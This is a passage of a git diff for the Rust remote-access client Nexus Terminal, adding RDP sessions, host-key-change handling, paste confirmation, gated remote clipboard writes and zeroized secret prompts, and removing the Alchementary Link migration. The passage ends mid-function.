## RDP remote desktops
|
||||||
|
|
||||||
|
Create an **RDP** profile with the host, your username and, if needed, a domain. Windows servers use Network Level Authentication by default; for xrdp and other servers without it, tick **Allow servers without NLA**. The first connection shows the server certificate's fingerprint to trust. Use the **Proxy** or **SSH Tunnel** sections to reach desktops behind a jump host or proxy.
|
||||||
|
|
||||||
## File transfers on SSH
|
## File transfers on SSH
|
||||||
|
|
||||||
Click the **folder** icon on an SSH tab to open the SFTP browser. You can browse, upload, download, rename and delete files, create folders and bookmark locations.
|
Click the **folder** icon on an SSH tab to open the SFTP browser. You can browse, upload, download, rename and delete files, create folders and bookmark locations.
|
||||||
@@ -55,10 +59,6 @@ The upload picker lists folders only and marks permissions:
|
|||||||
- Each password, passphrase or token can be saved, remembered for the session only, or asked for every time.
|
- Each password, passphrase or token can be saved, remembered for the session only, or asked for every time.
|
||||||
- SSH host key checks can be set per profile (Strict, Ask, Accept new, Insecure).
|
- SSH host key checks can be set per profile (Strict, Ask, Accept new, Insecure).
|
||||||
|
|
||||||
## Coming from Alchementary Link
|
|
||||||
|
|
||||||
Your profiles, vault and recordings are copied across automatically on first run, and keychain entries are picked up the first time they are needed. Your old Alchementary Link data is left untouched.
|
|
||||||
|
|
||||||
## Common shortcuts
|
## Common shortcuts
|
||||||
|
|
||||||
| macOS Shortcut | Windows/Linux Shortcut | Action |
|
| macOS Shortcut | Windows/Linux Shortcut | Action |
|
||||||
|
|||||||
+18
-14
@@ -16,7 +16,7 @@
|
|||||||
12. Security and credentials
|
12. Security and credentials
|
||||||
13. Import and export
|
13. Import and export
|
||||||
14. Settings and updates
|
14. Settings and updates
|
||||||
15. Data locations and migration from Alchementary Link
|
15. Data locations
|
||||||
16. Troubleshooting
|
16. Troubleshooting
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -162,6 +162,19 @@ The viewer's toolbar shows the connection state and desktop size, and has button
|
|||||||
|
|
||||||
Use SSH tunnelling for VNC whenever possible. If a VNC profile has no tunnel, Nexus Terminal warns that the traffic is unencrypted and offers **Connect Anyway**, **Edit Profile** or **Cancel**.
|
Use SSH tunnelling for VNC whenever possible. If a VNC profile has no tunnel, Nexus Terminal warns that the traffic is unencrypted and offers **Connect Anyway**, **Edit Profile** or **Cancel**.
|
||||||
|
|
||||||
|
### RDP
|
||||||
|
|
||||||
|
- **RDP**: domain (optional), password storage mode, **Certificate Policy** and **Allow servers without NLA**. The username, host and port (3389) are the profile's own.
|
||||||
|
- **Display**: **Scale to Fit**, a fixed **Width** and **Height** (0 × 0 fits the tab) and **Resize With Tab**.
|
||||||
|
- **Proxy**: **SOCKS5** or **HTTP CONNECT**, with an optional username and password.
|
||||||
|
- **SSH Tunnel**: carry RDP through SSH, as for VNC. Use either a proxy or a tunnel, not both.
|
||||||
|
|
||||||
|
Nexus Terminal logs on with Network Level Authentication (CredSSP, NTLM), so your password is checked before a session is set up. Servers without NLA, such as xrdp, need **Allow servers without NLA**; the password is then passed to the server's own logon. Kerberos and smart cards are not supported.
|
||||||
|
|
||||||
|
RDP servers usually present self-signed certificates, so the certificate is pinned like an SSH host key: its SHA-256 fingerprint is shown the first time and stored in **Known Hosts**, and a changed certificate offers Reject, Accept Once or Accept & Update. The check happens before any credentials are sent.
|
||||||
|
|
||||||
|
The viewer works like the VNC one: click the desktop to give it keyboard focus, **Ctrl+Alt+Del** sends the key combination, and **Paste Clipboard** types your clipboard's text into the remote desktop (clipboard sharing is not supported yet). With **Resize With Tab**, the remote desktop follows the tab's size on servers that support it (Windows); otherwise the picture is scaled.
|
||||||
|
|
||||||
### IRC
|
### IRC
|
||||||
|
|
||||||
- **IRC**: nick, real name, **Use TLS** (port 6697 for most TLS networks) and an optional server password.
|
- **IRC**: nick, real name, **Use TLS** (port 6697 for most TLS networks) and an optional server password.
|
||||||
@@ -379,8 +392,8 @@ Connections, disconnections, profile changes, credential access, imports and exp
|
|||||||
## 13. Import and export
|
## 13. Import and export
|
||||||
|
|
||||||
- **Encrypted export**: **File → Export profiles…**, the sidebar footer, the command palette, or **Export…** on a profile's right-click menu. Choose the profiles, set a password and save a `.nexus` file. Credentials saved in the keychain or vault are not included.
|
- **Encrypted export**: **File → Export profiles…**, the sidebar footer, the command palette, or **Export…** on a profile's right-click menu. Choose the profiles, set a password and save a `.nexus` file. Credentials saved in the keychain or vault are not included.
|
||||||
- **Encrypted import**: **File → Import profiles…** or the sidebar footer. Choose a `.nexus` file (or a `.link` file from Alchementary Link), enter its password, and choose what happens when a profile already exists: **Skip existing**, **Overwrite existing** or **Create duplicates**.
|
- **Encrypted import**: **File → Import profiles…** or the sidebar footer. Choose a `.nexus` file, enter its password, and choose what happens when a profile already exists: **Skip existing**, **Overwrite existing** or **Create duplicates**.
|
||||||
- **JSON export and import**: **Export Profiles (JSON)** and **Import Profiles (JSON)** in the command palette. JSON export includes every profile; tick **Include secrets** to keep inline proxy passwords and TOTP secrets, which are otherwise removed.
|
- **JSON export and import**: **Export Profiles (JSON)** and **Import Profiles (JSON)** in the command palette. JSON export includes every profile; passwords in login-script `send` steps that answer a password prompt are blanked unless you tick **Include secrets**. Proxy passwords and TOTP secrets live in the keychain or vault, never in the profile, so no export carries them.
|
||||||
- **OpenSSH config**: **File → Import ~/.ssh/config** or **Settings → About → Import ~/.ssh/config** creates profiles from your `Host` blocks, including hostnames, usernames, ports, identity files and jump hosts.
|
- **OpenSSH config**: **File → Import ~/.ssh/config** or **Settings → About → Import ~/.ssh/config** creates profiles from your `Host` blocks, including hostnames, usernames, ports, identity files and jump hosts.
|
||||||
|
|
||||||
---
|
---
|
||||||
@@ -389,7 +402,7 @@ Connections, disconnections, profile changes, credential access, imports and exp
|
|||||||
|
|
||||||
Open settings with **Cmd+,** (macOS) or **Ctrl+,** (Windows/Linux), the sidebar footer, or **File → Settings**. Click **Save** to apply changes.
|
Open settings with **Cmd+,** (macOS) or **Ctrl+,** (Windows/Linux), the sidebar footer, or **File → Settings**. Click **Save** to apply changes.
|
||||||
|
|
||||||
- **General**: app theme (Pro, Midnight or Light), default protocol, confirm on close, confirm on disconnect, status bar, sidebar width, and local shell (leave empty for the system default; **Browse…** to pick one).
|
- **General**: app theme (Pro, Midnight or Light), default protocol, confirm on close, confirm on disconnect, remote clipboard writes (OSC 52 and VNC; a toast shows what was copied), multi-line paste confirmation, the launch-time update check, status bar, sidebar width, and local shell (leave empty for the system default; **Browse…** to pick one).
|
||||||
- **Terminal**: colour scheme, font family, font size, scrollback lines and cursor style. These are the defaults for new profiles; profiles can override them.
|
- **Terminal**: colour scheme, font family, font size, scrollback lines and cursor style. These are the defaults for new profiles; profiles can override them.
|
||||||
- **Security**: keychain and vault status; initialise, unlock or lock the secret store.
|
- **Security**: keychain and vault status; initialise, unlock or lock the secret store.
|
||||||
- **Known Hosts**: saved host keys with first-seen and last-seen times, and **Remove**.
|
- **Known Hosts**: saved host keys with first-seen and last-seen times, and **Remove**.
|
||||||
@@ -404,7 +417,7 @@ Nexus Terminal checks for a new version once at launch. When one is available, t
|
|||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 15. Data locations and migration from Alchementary Link
|
## 15. Data locations
|
||||||
|
|
||||||
### Data locations
|
### Data locations
|
||||||
|
|
||||||
@@ -424,15 +437,6 @@ The directory holds:
|
|||||||
|
|
||||||
Credentials saved in the OS keychain are stored under the service name `NexusTerminal`.
|
Credentials saved in the OS keychain are stored under the service name `NexusTerminal`.
|
||||||
|
|
||||||
### Migrating from Alchementary Link
|
|
||||||
|
|
||||||
On first run, if Nexus Terminal has no database yet and an Alchementary Link data directory (`AlchementaryLink`, in the same parent folder) exists, Nexus Terminal **copies** `link.db` to `nexus.db`, along with the `vault/` and `recordings/` directories, and shows a toast saying where the data came from. The Alchementary Link directory is left untouched.
|
|
||||||
|
|
||||||
- If a `NexusTerminal/nexus.db` already exists (for example from a version before the Alchementary Link rebrand), it is used as-is and nothing is copied.
|
|
||||||
- Keychain entries saved under `AlchementaryLink` are found the first time they are needed and copied to `NexusTerminal`. The old entries are not deleted.
|
|
||||||
- Your vault master password is unchanged.
|
|
||||||
- Trigger rules and SFTP bookmarks from Alchementary Link are not migrated; recreate them in Nexus Terminal.
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## 16. Troubleshooting
|
## 16. Troubleshooting
|
||||||
|
|||||||
@@ -0,0 +1,9 @@
|
|||||||
|
# cargo audit configuration (CI runs `cargo audit` from rust/).
|
||||||
|
[advisories]
|
||||||
|
ignore = [
|
||||||
|
# 2026-10-12: rsa Marvin timing side channel, pulled in by russh's `rsa` feature. No fixed
|
||||||
|
# release exists. The client signs once per user-initiated connection, so collecting enough
|
||||||
|
# timings is impractical; Ed25519 is the default for generated keys. Re-check when rsa ships a
|
||||||
|
# constant-time release (SEC-20261012-012).
|
||||||
|
"RUSTSEC-2023-0071",
|
||||||
|
]
|
||||||
Generated
+1323
-19
File diff suppressed because it is too large
Load Diff
@@ -15,3 +15,9 @@ opt-level = 2
|
|||||||
|
|
||||||
[profile.release]
|
[profile.release]
|
||||||
lto = "thin"
|
lto = "thin"
|
||||||
|
|
||||||
|
# IronRDP compatibility patches; see vendor/README.md for what each changes and when to drop it.
|
||||||
|
[patch.crates-io]
|
||||||
|
picky = { path = "vendor/picky" }
|
||||||
|
sspi = { path = "vendor/sspi" }
|
||||||
|
ironrdp-session = { path = "vendor/ironrdp-session" }
|
||||||
|
|||||||
@@ -12,6 +12,8 @@ path = "src/main.rs"
|
|||||||
nexus-core = { path = "../core" }
|
nexus-core = { path = "../core" }
|
||||||
eframe = { version = "0.36", default-features = false, features = ["default_fonts", "glow", "wayland", "x11", "accesskit", "persistence"] }
|
eframe = { version = "0.36", default-features = false, features = ["default_fonts", "glow", "wayland", "x11", "accesskit", "persistence"] }
|
||||||
egui = "0.36"
|
egui = "0.36"
|
||||||
|
parking_lot = "0.12"
|
||||||
|
zeroize = "1"
|
||||||
egui-phosphor = "0.14"
|
egui-phosphor = "0.14"
|
||||||
rfd = "0.17"
|
rfd = "0.17"
|
||||||
image = { version = "0.25", default-features = false, features = ["png"] }
|
image = { version = "0.25", default-features = false, features = ["png"] }
|
||||||
|
|||||||
+66
-23
@@ -10,10 +10,11 @@ use crate::{chrome, forwards, profile_editor, quick_connect, recordings, setting
|
|||||||
use egui::{Key, KeyboardShortcut, Modifiers, Ui};
|
use egui::{Key, KeyboardShortcut, Modifiers, Ui};
|
||||||
use nexus_core::models::{Profile, Protocol, SessionInfo, SessionState};
|
use nexus_core::models::{Profile, Protocol, SessionInfo, SessionState};
|
||||||
use nexus_core::service::Service;
|
use nexus_core::service::Service;
|
||||||
use nexus_core::sessions::Event;
|
use nexus_core::sessions::{Event, HostKeyDecision};
|
||||||
|
use parking_lot::Mutex;
|
||||||
use std::collections::VecDeque;
|
use std::collections::VecDeque;
|
||||||
use std::path::PathBuf;
|
use std::path::PathBuf;
|
||||||
use std::sync::{Arc, Mutex, mpsc};
|
use std::sync::{Arc, mpsc};
|
||||||
|
|
||||||
pub struct Options {
|
pub struct Options {
|
||||||
pub screenshot: Option<PathBuf>,
|
pub screenshot: Option<PathBuf>,
|
||||||
@@ -37,13 +38,33 @@ pub struct Options {
|
|||||||
static POSTED: Mutex<Vec<String>> = Mutex::new(Vec::new());
|
static POSTED: Mutex<Vec<String>> = Mutex::new(Vec::new());
|
||||||
|
|
||||||
pub fn post_error(e: String) {
|
pub fn post_error(e: String) {
|
||||||
POSTED.lock().unwrap().push(e);
|
POSTED.lock().push(e);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// For the panic hook: the panicking thread may already hold the lock.
|
||||||
|
pub fn post_error_nonblocking(e: String) {
|
||||||
|
if let Some(mut p) = POSTED.try_lock() {
|
||||||
|
p.push(e);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// A credential or host-key question from a connecting session.
|
/// A credential or host-key question from a connecting session.
|
||||||
pub enum Prompt {
|
pub enum Prompt {
|
||||||
Secret { session: String, title: String, message: String, value: String, reply: mpsc::Sender<String> },
|
/// `value` is wiped when the prompt is dropped (answered, cancelled or abandoned).
|
||||||
HostKey { host: String, key_type: String, fingerprint: String, reply: mpsc::Sender<bool> },
|
Secret {
|
||||||
|
session: String,
|
||||||
|
title: String,
|
||||||
|
message: String,
|
||||||
|
value: zeroize::Zeroizing<String>,
|
||||||
|
reply: mpsc::Sender<String>,
|
||||||
|
},
|
||||||
|
HostKey {
|
||||||
|
host: String,
|
||||||
|
key_type: String,
|
||||||
|
fingerprint: String,
|
||||||
|
stored: Option<String>,
|
||||||
|
reply: mpsc::Sender<HostKeyDecision>,
|
||||||
|
},
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Modal dialogs owned by the main window.
|
/// Modal dialogs owned by the main window.
|
||||||
@@ -70,6 +91,11 @@ pub enum Dialog {
|
|||||||
Broadcast {
|
Broadcast {
|
||||||
picks: Vec<(String, String, bool)>,
|
picks: Vec<(String, String, bool)>,
|
||||||
},
|
},
|
||||||
|
/// Multi-line paste into a terminal without bracketed paste.
|
||||||
|
ConfirmPaste {
|
||||||
|
session: String,
|
||||||
|
text: String,
|
||||||
|
},
|
||||||
/// Guided help for an auth or host-key failure.
|
/// Guided help for an auth or host-key failure.
|
||||||
Guided {
|
Guided {
|
||||||
session: String,
|
session: String,
|
||||||
@@ -136,7 +162,7 @@ impl App {
|
|||||||
let ctx = cc.egui_ctx.clone();
|
let ctx = cc.egui_ctx.clone();
|
||||||
let tx = Mutex::new(tx);
|
let tx = Mutex::new(tx);
|
||||||
svc.sessions.set_sink(Arc::new(move |e| {
|
svc.sessions.set_sink(Arc::new(move |e| {
|
||||||
let _ = tx.lock().unwrap().send(e);
|
let _ = tx.lock().send(e);
|
||||||
ctx.request_repaint();
|
ctx.request_repaint();
|
||||||
}));
|
}));
|
||||||
let s = Shared::new(svc.clone(), cc.egui_ctx.clone());
|
let s = Shared::new(svc.clone(), cc.egui_ctx.clone());
|
||||||
@@ -184,11 +210,8 @@ impl App {
|
|||||||
*sid = Some(id.clone());
|
*sid = Some(id.clone());
|
||||||
app.add_session(&id, true);
|
app.add_session(&id, true);
|
||||||
}
|
}
|
||||||
if let Some(from) = &svc.config.migrated_from {
|
|
||||||
app.s.success(format!("Imported your Alchementary Link data from {}", from.display()));
|
|
||||||
}
|
|
||||||
// Background update check, once per launch.
|
// Background update check, once per launch.
|
||||||
if app.screenshot.is_none() {
|
if app.screenshot.is_none() && app.s.prefs.check_for_updates {
|
||||||
let svc2 = svc.clone();
|
let svc2 = svc.clone();
|
||||||
let ctx = cc.egui_ctx.clone();
|
let ctx = cc.egui_ctx.clone();
|
||||||
std::thread::spawn(move || {
|
std::thread::spawn(move || {
|
||||||
@@ -236,7 +259,7 @@ impl App {
|
|||||||
(Protocol::Raw, Some(p)) => View::Raw(Box::new(crate::raw_view::RawView::new(&info.id, p))),
|
(Protocol::Raw, Some(p)) => View::Raw(Box::new(crate::raw_view::RawView::new(&info.id, p))),
|
||||||
(Protocol::Irc, Some(p)) => View::Irc(Box::new(crate::irc_view::IrcView::new(&info.id, p))),
|
(Protocol::Irc, Some(p)) => View::Irc(Box::new(crate::irc_view::IrcView::new(&info.id, p))),
|
||||||
(Protocol::Github, Some(p)) => View::Github(Box::new(crate::github_view::GithubView::new(&info.id, &p.display_name))),
|
(Protocol::Github, Some(p)) => View::Github(Box::new(crate::github_view::GithubView::new(&info.id, &p.display_name))),
|
||||||
(Protocol::Vnc, Some(p)) => View::Vnc(Box::new(crate::vnc_view::VncView::new(&info.id, p))),
|
(Protocol::Vnc | Protocol::Rdp, Some(p)) => View::Desktop(Box::new(crate::desktop_view::DesktopView::new(&info.id, p))),
|
||||||
(_, p) => {
|
(_, p) => {
|
||||||
let (scroll, size, cursor) = match p {
|
let (scroll, size, cursor) = match p {
|
||||||
Some(p) => (p.terminal_scrollback, p.terminal_font_size, p.terminal_cursor_style.clone()),
|
Some(p) => (p.terminal_scrollback, p.terminal_font_size, p.terminal_cursor_style.clone()),
|
||||||
@@ -400,7 +423,7 @@ impl App {
|
|||||||
// --- events ---------------------------------------------------------------------------
|
// --- events ---------------------------------------------------------------------------
|
||||||
|
|
||||||
fn drain_events(&mut self) {
|
fn drain_events(&mut self) {
|
||||||
for e in POSTED.lock().unwrap().drain(..) {
|
for e in POSTED.lock().drain(..) {
|
||||||
self.s.error(e);
|
self.s.error(e);
|
||||||
}
|
}
|
||||||
while let Ok(e) = self.rx.try_recv() {
|
while let Ok(e) = self.rx.try_recv() {
|
||||||
@@ -461,6 +484,7 @@ impl App {
|
|||||||
v.on_error(error);
|
v.on_error(error);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
Event::Warning { message, .. } => self.s.error(message),
|
||||||
Event::Irc { session, event } => {
|
Event::Irc { session, event } => {
|
||||||
if let Some(View::Irc(v)) = self.s.panes.get_mut(&session).map(|p| &mut p.view) {
|
if let Some(View::Irc(v)) = self.s.panes.get_mut(&session).map(|p| &mut p.view) {
|
||||||
v.on_event(event);
|
v.on_event(event);
|
||||||
@@ -493,18 +517,18 @@ impl App {
|
|||||||
let _ = (session, title, message, reply.send(self.answers.remove(0)));
|
let _ = (session, title, message, reply.send(self.answers.remove(0)));
|
||||||
}
|
}
|
||||||
Event::SecretPrompt { session, title, message, reply } => {
|
Event::SecretPrompt { session, title, message, reply } => {
|
||||||
self.prompts.push_back(Prompt::Secret { session, title, message, value: String::new(), reply });
|
self.prompts.push_back(Prompt::Secret { session, title, message, value: Default::default(), reply });
|
||||||
}
|
}
|
||||||
Event::HostKeyVerify { host, key_type, fingerprint, reply, .. } => {
|
Event::HostKeyVerify { host, key_type, fingerprint, stored, reply, .. } => {
|
||||||
self.prompts.push_back(Prompt::HostKey { host, key_type, fingerprint, reply });
|
self.prompts.push_back(Prompt::HostKey { host, key_type, fingerprint, stored, reply });
|
||||||
}
|
}
|
||||||
Event::VncReady { session } => {
|
Event::DesktopReady { session } => {
|
||||||
if let Some(View::Vnc(v)) = self.s.panes.get_mut(&session).map(|p| &mut p.view) {
|
if let Some(View::Desktop(v)) = self.s.panes.get_mut(&session).map(|p| &mut p.view) {
|
||||||
v.on_ready();
|
v.on_ready();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Event::VncFrame { .. } => {}
|
Event::DesktopFrame { .. } => {}
|
||||||
Event::VncClipboard { text, .. } => self.s.ctx.copy_text(text),
|
Event::VncClipboard { text, .. } => self.remote_clipboard(&text),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -572,9 +596,13 @@ impl App {
|
|||||||
Request::Connect(id) => self.connect_profile(&id, false),
|
Request::Connect(id) => self.connect_profile(&id, false),
|
||||||
Request::ConnectQuick(p) => {
|
Request::ConnectQuick(p) => {
|
||||||
let name = if p.display_name.is_empty() { p.host.clone() } else { p.display_name.clone() };
|
let name = if p.display_name.is_empty() { p.host.clone() } else { p.display_name.clone() };
|
||||||
let sid = self.s.svc.connect_quick(p);
|
match self.s.svc.connect_quick(p) {
|
||||||
self.add_session(&sid, true);
|
Ok(sid) => {
|
||||||
self.s.info(format!("Connecting to {name}…"));
|
self.add_session(&sid, true);
|
||||||
|
self.s.info(format!("Connecting to {name}…"));
|
||||||
|
}
|
||||||
|
Err(e) => self.s.error(format!("Can't connect to {name}: {e}")),
|
||||||
|
}
|
||||||
}
|
}
|
||||||
Request::ReloadProfiles => self.s.reload_profiles(),
|
Request::ReloadProfiles => self.s.reload_profiles(),
|
||||||
Request::ReloadPreferences => {
|
Request::ReloadPreferences => {
|
||||||
@@ -728,6 +756,18 @@ impl App {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// A remote host (OSC 52 or VNC) wants to set the clipboard: allowed per preference, and always
|
||||||
|
/// announced so a silent swap can't set up a paste into another shell.
|
||||||
|
pub fn remote_clipboard(&mut self, text: &str) {
|
||||||
|
let first: String = text.lines().next().unwrap_or("").chars().take(60).collect();
|
||||||
|
if self.s.prefs.allow_remote_clipboard {
|
||||||
|
self.s.ctx.copy_text(text.into());
|
||||||
|
self.s.info(format!("Remote host set the clipboard: {first}"));
|
||||||
|
} else {
|
||||||
|
self.s.info("Blocked a remote clipboard write (Settings → General to allow)");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
pub fn toggle_broadcast(&mut self) {
|
pub fn toggle_broadcast(&mut self) {
|
||||||
self.s.broadcast = !self.s.broadcast;
|
self.s.broadcast = !self.s.broadcast;
|
||||||
if !self.s.broadcast {
|
if !self.s.broadcast {
|
||||||
@@ -761,6 +801,9 @@ impl App {
|
|||||||
{
|
{
|
||||||
let mut out = crate::terminal::TermResponse::default();
|
let mut out = crate::terminal::TermResponse::default();
|
||||||
t.paste(&text, &mut out);
|
t.paste(&text, &mut out);
|
||||||
|
if let Some(text) = out.confirm_paste {
|
||||||
|
self.dialog = Some(Dialog::ConfirmPaste { session: id.into(), text });
|
||||||
|
}
|
||||||
let input = out.input;
|
let input = out.input;
|
||||||
self.send_input(id, &input);
|
self.send_input(id, &input);
|
||||||
}
|
}
|
||||||
@@ -864,7 +907,7 @@ pub fn theme_for(pref: &str) -> ThemeKind {
|
|||||||
/// Recognises auth and host-key failures for the guided error dialog.
|
/// Recognises auth and host-key failures for the guided error dialog.
|
||||||
pub fn classify_error(msg: &str) -> Option<(&'static str, &'static str, bool)> {
|
pub fn classify_error(msg: &str) -> Option<(&'static str, &'static str, bool)> {
|
||||||
let m = msg.to_lowercase();
|
let m = msg.to_lowercase();
|
||||||
if ["unable to authenticate", "authentication failed", "permission denied", "no supported methods"].iter().any(|p| m.contains(p)) {
|
if nexus_core::sessions::is_auth_error(&m) {
|
||||||
return Some(("Authentication Failed", "The server rejected the provided credentials. Check username, password, keys, and auth methods.", false));
|
return Some(("Authentication Failed", "The server rejected the provided credentials. Check username, password, keys, and auth methods.", false));
|
||||||
}
|
}
|
||||||
if ["host key", "fingerprint"].iter().any(|p| m.contains(p)) {
|
if ["host key", "fingerprint"].iter().any(|p| m.contains(p)) {
|
||||||
|
|||||||
+91
-22
@@ -9,6 +9,7 @@ use crate::widgets;
|
|||||||
use egui::{Align2, Color32, Key, Rect, RichText, Sense, Stroke, Ui, ViewportCommand, pos2, vec2};
|
use egui::{Align2, Color32, Key, Rect, RichText, Sense, Stroke, Ui, ViewportCommand, pos2, vec2};
|
||||||
use egui_phosphor::regular as icon;
|
use egui_phosphor::regular as icon;
|
||||||
use nexus_core::models::{Protocol, SessionState};
|
use nexus_core::models::{Protocol, SessionState};
|
||||||
|
use nexus_core::sessions::HostKeyDecision;
|
||||||
|
|
||||||
pub const LOGO_PNG: &[u8] = include_bytes!("../assets/icon/icon-256.png");
|
pub const LOGO_PNG: &[u8] = include_bytes!("../assets/icon/icon-256.png");
|
||||||
|
|
||||||
@@ -79,7 +80,7 @@ pub fn title_bar(app: &mut App, ui: &mut Ui) {
|
|||||||
if item(ui, icon::FILE_ARROW_DOWN, "Import ~/.ssh/config", "") {
|
if item(ui, icon::FILE_ARROW_DOWN, "Import ~/.ssh/config", "") {
|
||||||
match app.s.svc.import_ssh_config(None, "SSH Config") {
|
match app.s.svc.import_ssh_config(None, "SSH Config") {
|
||||||
Ok(n) => {
|
Ok(n) => {
|
||||||
app.s.success(format!("Imported {n} host(s) from ~/.ssh/config"));
|
app.s.success(crate::settings::ssh_import_summary(n));
|
||||||
app.s.reload_profiles();
|
app.s.reload_profiles();
|
||||||
}
|
}
|
||||||
Err(e) => app.s.error(format!("Import failed: {e}")),
|
Err(e) => app.s.error(format!("Import failed: {e}")),
|
||||||
@@ -369,13 +370,13 @@ pub fn status_bar(app: &mut App, ui: &mut Ui) {
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
static LATENCY: std::sync::Mutex<Option<(String, Result<i64, String>)>> = std::sync::Mutex::new(None);
|
static LATENCY: parking_lot::Mutex<Option<(String, Result<i64, String>)>> = parking_lot::Mutex::new(None);
|
||||||
|
|
||||||
/// Pings the active SSH session every 10 s for the status-bar latency.
|
/// Pings the active SSH session every 10 s for the status-bar latency.
|
||||||
fn latency_tick(app: &mut App) {
|
fn latency_tick(app: &mut App) {
|
||||||
let id = app.s.active.clone();
|
let id = app.s.active.clone();
|
||||||
let ssh = id.as_deref().and_then(|a| app.s.pane(a)).is_some_and(|p| p.info.protocol == Protocol::Ssh);
|
let ssh = id.as_deref().and_then(|a| app.s.pane(a)).is_some_and(|p| p.info.protocol == Protocol::Ssh);
|
||||||
if let Some(r) = LATENCY.lock().unwrap().take() {
|
if let Some(r) = LATENCY.lock().take() {
|
||||||
app.latency = Some(r);
|
app.latency = Some(r);
|
||||||
}
|
}
|
||||||
let Some(id) = id.filter(|_| ssh) else { return };
|
let Some(id) = id.filter(|_| ssh) else { return };
|
||||||
@@ -394,7 +395,7 @@ fn latency_tick(app: &mut App) {
|
|||||||
let (svc, ctx) = (app.s.svc.clone(), app.s.ctx.clone());
|
let (svc, ctx) = (app.s.svc.clone(), app.s.ctx.clone());
|
||||||
std::thread::spawn(move || {
|
std::thread::spawn(move || {
|
||||||
let r = svc.sessions.ping(&id).map_err(|e| e.to_string());
|
let r = svc.sessions.ping(&id).map_err(|e| e.to_string());
|
||||||
*LATENCY.lock().unwrap() = Some((id, r));
|
*LATENCY.lock() = Some((id, r));
|
||||||
ctx.request_repaint();
|
ctx.request_repaint();
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
@@ -694,12 +695,12 @@ pub fn prompts(app: &mut App, ctx: &egui::Context) {
|
|||||||
}
|
}
|
||||||
ui.add_space(4.0);
|
ui.add_space(4.0);
|
||||||
ui.label(message.as_str());
|
ui.label(message.as_str());
|
||||||
let r = ui.add(egui::TextEdit::singleline(value).password(true).desired_width(f32::INFINITY));
|
let r = ui.add(egui::TextEdit::singleline(&mut **value).password(true).desired_width(f32::INFINITY));
|
||||||
r.request_focus();
|
r.request_focus();
|
||||||
ui.add_space(6.0);
|
ui.add_space(6.0);
|
||||||
ui.horizontal(|ui| {
|
ui.horizontal(|ui| {
|
||||||
if widgets::primary(ui, icon::CHECK, "OK").clicked() || enter {
|
if widgets::primary(ui, icon::CHECK, "OK").clicked() || enter {
|
||||||
let _ = reply.send(std::mem::take(value));
|
let _ = reply.send(std::mem::take(&mut **value));
|
||||||
done = true;
|
done = true;
|
||||||
}
|
}
|
||||||
if ui.button("Cancel").clicked() || esc {
|
if ui.button("Cancel").clicked() || esc {
|
||||||
@@ -708,24 +709,63 @@ pub fn prompts(app: &mut App, ctx: &egui::Context) {
|
|||||||
});
|
});
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
Prompt::HostKey { host, key_type, fingerprint, reply } => {
|
Prompt::HostKey { host, key_type, fingerprint, stored, reply } => {
|
||||||
modal(ctx, "hostkey-prompt", 460.0, |ui| {
|
modal(ctx, "hostkey-prompt", 480.0, |ui| {
|
||||||
ui.label(RichText::new(format!("{} Verify host key", icon::SHIELD_WARNING)).font(theme::semibold(15.0)));
|
let mut decide = |d: HostKeyDecision| {
|
||||||
ui.label(format!("The authenticity of {host} can't be established."));
|
let _ = reply.send(d);
|
||||||
ui.add_space(4.0);
|
done = true;
|
||||||
widgets::kv(ui, "hk", &[("Key type", key_type.clone()), ("Fingerprint", fingerprint.clone())]);
|
};
|
||||||
widgets::hint(ui, "Accept only if this matches the fingerprint the server's administrator gave you.");
|
match stored {
|
||||||
ui.add_space(6.0);
|
Some(old) => {
|
||||||
ui.horizontal(|ui| {
|
ui.label(RichText::new(format!("{} Host key changed", icon::SHIELD_WARNING)).font(theme::semibold(15.0)).color(t.danger));
|
||||||
if widgets::primary(ui, icon::CHECK, "Accept & Save").clicked() {
|
ui.add(
|
||||||
let _ = reply.send(true);
|
egui::Label::new(format!(
|
||||||
done = true;
|
"The key {host} presented does not match the one on record. This happens when a server is reinstalled, but it is also what an interception attack looks like. Only continue if you can confirm the new fingerprint with the server's administrator."
|
||||||
|
))
|
||||||
|
.wrap(),
|
||||||
|
);
|
||||||
|
ui.add_space(4.0);
|
||||||
|
widgets::kv(ui, "hk", &[("Key type", key_type.clone()), ("Stored", old.clone()), ("Received", fingerprint.clone())]);
|
||||||
|
ui.add_space(6.0);
|
||||||
|
ui.horizontal(|ui| {
|
||||||
|
if widgets::primary(ui, icon::X, "Reject").clicked() || esc {
|
||||||
|
decide(HostKeyDecision::Reject);
|
||||||
|
}
|
||||||
|
if ui.button(format!("{} Accept Once", icon::CHECK)).on_hover_text("Connect this time; keep the stored key unchanged").clicked() {
|
||||||
|
decide(HostKeyDecision::AcceptOnce);
|
||||||
|
}
|
||||||
|
if ui
|
||||||
|
.add(
|
||||||
|
egui::Button::new(RichText::new(format!("{} Accept & Update", icon::ARROWS_CLOCKWISE)).color(t.accent_text))
|
||||||
|
.fill(t.danger),
|
||||||
|
)
|
||||||
|
.on_hover_text("Connect and replace the stored key with this one")
|
||||||
|
.clicked()
|
||||||
|
{
|
||||||
|
decide(HostKeyDecision::AcceptAndSave);
|
||||||
|
}
|
||||||
|
});
|
||||||
}
|
}
|
||||||
if ui.button("Reject").clicked() || esc {
|
None => {
|
||||||
let _ = reply.send(false);
|
ui.label(RichText::new(format!("{} Verify host key", icon::SHIELD_WARNING)).font(theme::semibold(15.0)));
|
||||||
done = true;
|
ui.label(format!("The authenticity of {host} can't be established."));
|
||||||
|
ui.add_space(4.0);
|
||||||
|
widgets::kv(ui, "hk", &[("Key type", key_type.clone()), ("Fingerprint", fingerprint.clone())]);
|
||||||
|
widgets::hint(ui, "Accept only if this matches the fingerprint the server's administrator gave you.");
|
||||||
|
ui.add_space(6.0);
|
||||||
|
ui.horizontal(|ui| {
|
||||||
|
